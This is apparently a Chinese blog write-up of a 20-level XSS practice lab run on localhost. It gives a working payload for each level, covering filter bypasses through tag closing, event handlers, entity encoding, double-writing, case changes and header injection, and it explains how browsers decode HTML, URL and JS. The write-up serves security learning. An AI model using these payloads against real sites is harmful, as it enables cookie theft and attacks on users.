XSS20冲关之旅

前言

最近学到了xss漏洞,来做一下这个xss题目

XSS-1

第一关热身,没有任何过滤。payload:<script>alert('xss')</script>

XSS-2

查看代码可知

1
2
3
4
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">

对于输入的内容,题目使用了htmlspecialchars来转义特殊字符,此处不好绕过,但是题目在input标签中却没有验证参数而直接输入,此时我们可以构造payload闭合input标签

payload: keyword="> <script>alert('xss')</script>,此时在代码中input标签的内容就变成

1
<input name=keyword value="">  <script>alert('xss')</script>">

成功成为了两个标签从而xss成功

XSS-3

这此input标签也被转义了,所以只能正面绕过htmlspecialchar()函数了,百度可以发现该函数默认是不转义单引号的,只有设置了quotestyle 选项为ENT_QUOTES才会过滤单引号,而本题又是单引号闭合的所以用单引号即可绕过

payload: http://localhost/xss20/level3.php?keyword=' onclick='window.alert()'

XSS-4

我们可以先fuzz一下,输入<script>'",然后查看源代码可知

可以看到题目将左右尖括号置换为空,但是单双引号都还可以用,本题是用双引号闭合的,所以只需要把第三关的稍微改一下即可

1
http://localhost/xss20/level4.php?keyword=" onclick="window.alert()"

XSS-5

想上一关测试一下<script>'",发现scirpt被转成了scr_ipt,我们可以尝试上关的payload闭合双引号,但是发现onclick被置换成了o_nclick,换个思路,第二题中由于题目没有过滤<>,我们可以另行构造一个标签,在本题中也没有单独过滤这两个符号,所以可以用类似第二关的方式绕过

1
http://localhost/xss20/level5.php?keyword="><a href=javascript:alert(19)>

查看源代码可知题目采用黑名单过滤了<scripton两个敏感词

XSS-6

测试<script>'"on,发现还是基本和上关的过滤一样,<input name=keyword value="<scr_ipt>'"o_n">,用上题payload故技重施,发现并没有那么简单,href被置换成了hr_ef,继续测试data,action,formaction,继续测试可以发现很多都被过滤了,走投无路之下大小写绕过试了一下居然就过了,可我记得上道题是大小写不敏感的呀…

1
http://localhost/xss20/level6.php?keyword="><a Href=javascript:alert(19)>

XSS-7

继续测试<script>'"on-><>'"on,猜测可能是将script置换为空字符,尝试双写绕过<scscriptript>,成功!对于其他敏感词如on等也可以用双写绕过,之前都是将敏感字符加下划线,本题是转化为空字符串

1
http://localhost/xss20/level7.php?keyword=" oonnclick="window.alert()

XSS-8

测试script><'"

可以看到对于a标签来说只过滤了双引号,还有将script替换成了scr_ipt,由于过滤了双引号,所以我们之前的闭合双引号构造其它标签的方法就不行了,只能在href=""上面做文章,本来我们可以提交javascript:alert(),但是题目污染了script敏感词,不过我们可以使用html实体编码绕过(即&#开头的编码方式)

1
http://localhost/xss20/level8.php?keyword=java&#115;cript:alert('xss')

1
2
3
4
5
6
7
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);

查看后台代码可知题目果然就是直接将敏感词转换,所以确实存在编码绕过的问题的


浏览器解码方式与XSS

在上一关中,我们利用html实体编码实现了弹窗, 想要探究这些问题的原理,我们就必须去了解一下浏览器究竟是怎么解码的

浏览器在解析时,首先由浏览器解析HTML生成DOM树,然后解析CSS生成CSSDOM树,之后JS解释器才开始进行解析执行, 如果碰到URL的话会由URL解释器进行解码,为了我们研究问题,我们可以粗略的把浏览器分为三部分HTML解释器,URL解释器,JS解释器,顺序简化为HTML->URL->JS
各种解释器能够识别的编码方式

  • HTML解释器识别的是HTML实体编码,也就是&#xx这种的
  • URL解释器可以识别URL编码
  • JS解释器可以识别Unicode编码,类似\uxxx

浏览器最早开始解析HTML,将标签转化为内容树中的DOM 节点,此时识别标签的时候,HTML 解析器是无法识别那些被实体编码的内容的,只有建立起DOM 树,才能对每个节点的内容进行识别,如果出现实体编码,则会进行实体解码。在此基础上,JavaScript DOM API 参与进来,可以对DOM 树进行修改,改变DOM树的结构和内容。
这段话说的比较清楚了,在dom树构建之时,html实体编码是没有被自解码的,那么此时dom树的节点结构就已经被固定了。后续自解码以后并不会影响到dom树/节点/标签的结构。这个道理和sql中的预编译是有些类似的。之后的自解码以后获得的<>将不会被解析成新的节点。 但并不是说dom树构建完毕后就不能被改变了。js是可以操作节点进行增删改操作的。

我们来探讨一下下面四个写法是否能够成功执行JS

  1. <a href=javascript:al\u65rt(1)>click</a>
  2. <a href=javascript:al%65rt(1)>click</a>
  3. <a href=javascript:al&#101;rt(1)>click</a>
  4. <a href=jav%61script:alert(1)>click4</a>

第一种写法无法实现弹窗,因为HTML和url都无法识别unicode编码,只有JS可以解码,但是在JS解释之前alert的e是被编码的状态,JS不会认为该语句是可以执行的,因为有一个被编码的字符e,如果此时修改为alert('\u65')就可以被成功执行

第二种写法可以实现弹窗,因为url解码是在js解码之前的,所以在JS执行之前已经得到完整的JS代码了,所以可以执行

第三种写法自然也可以实现弹窗,因为HMLT解码更早,在url解码之前,所以自然能够执行

第四种写法无法执行,因为在url识别阶段,解码得到的javascript,此时自然不会将JavaScript看做是伪协议,所以跳转链接会产生错误,可以与第二种写法进行比对

回到第8题,我们也就可以理解了,如果我们将javacript全部进行html实体编码,显然也是可以执行成功的,但是进行url编码则无法成功,与上面第4个例子的原理是一样的


XSS-9

测试可知依然存在上述的编码绕过问题,但是本题加入了一个链接检测,如果链接不合法就会被拦截,经过测试发现只要链接中出现http://就会被判定为合法链接,之后我们再用注释将这段字符注释掉即可

1
http://localhost/xss20/level9.php?keyword=java&#115cript:alert()/*http://*/

查看代码可以看到过滤果然就是我们猜测的内容

1
if(false===strpos($str7,'http://'))

XSS-10

本题主要考察隐藏元素的寻找,因为本题不在是前面题目用keyword的内容来替代,查看源代码可知有一个新表单存在三个参数,因为类型是hidden所以看不到,测试发现第三个参数是有效参数,而且只过滤了<>两个符号,所以我们用之前的payload即可,在设置type=text使其可见

1
http://localhost/xss20/level10.php?keyword=aaa&t_link=addd&t_history=ffads&t_sort=" onclick="window.alert()" type="text

XSS-11

题目中的t_sort字段过滤比较严格,无法绕过,但是题目在访问的时候消息头中会存在Referer字段,该字段存在注入的问题

测试<>script'",发现<>被过滤了,其余正常,所以payload就很简单了,和前面一样,只是位置变了而已

XSS-12

和上体基本一样,只不过本题是UA头的xss

1
" onclick="window.alert()" type="text

XSS-13

cookie的xss

1
user=" onclick="window.alert()" type="text;

XSS-14

这关环境有问题,网站访问不了,好像是一个图片型xss

XSS-15

ng-include 题目好像有点问题

XSS-16

本题过滤的挺多的,过滤了script空格/,只要没过滤尖括号就万事好说,空格我们可以用%0a绕过,payload

1
2
http://localhost/xss20/level16.php?keyword=<input%0Aonclick="window.alert()">
http://localhost/xss20/level16.php?keyword=<image%0Asrc=1%0aonerror="alert()">

XSS-17

本题有两个参数arg01和arg02,虽然还有flash,但是这道题和flash没关系,别被迷惑,测试一下输出点在哪个参数,发现arg02上有输出,<>"被过滤,我们可以使用onclick参数

1
http://localhost/xss20/level17.php?arg01=ffff&arg02=fff%208888%20onclick=alert()

XSS-18

过滤了<> ",感觉和17题没什么区别

1
2
http://localhost/xss20/level18.php?arg01=wwww&arg02=bfff%20888%20onfocus=alert()
http://localhost/xss20/level18.php?arg01=wwww&arg02=bfff%20888%20onclick=alert()

可能我太菜了,没get到17、18两题的考点,希望看到的师傅们和我交流一下XD

XSS-19

从这关开始之后就是flash xss了,看了代码也看不懂2333,测试了一下这个payload是可以用的,

1
http://localhost/xss20/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss_by_SST%3C/a%3E

XSS-20

payload看不懂

1
http://localhost/xss20/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

有时间再研究吧,这个用的另一种脚本语言

总结

对于XSS的绕过,可以采用双写,大小写,闭合标签,利用过滤不完全的漏洞来使用标签

XSS一般利用js脚本读取用户浏览器中的Cookie,而如果在服务器端对Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie

总的来说,对于XSS攻击,我们要对输入参数进行过滤,对输出进行编码转义,白名单和黑名单相结合。

reference:
https://www.cnblogs.com/escape-w/p/10162831.html
https://blog.csdn.net/he_and/article/details/80588409

-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!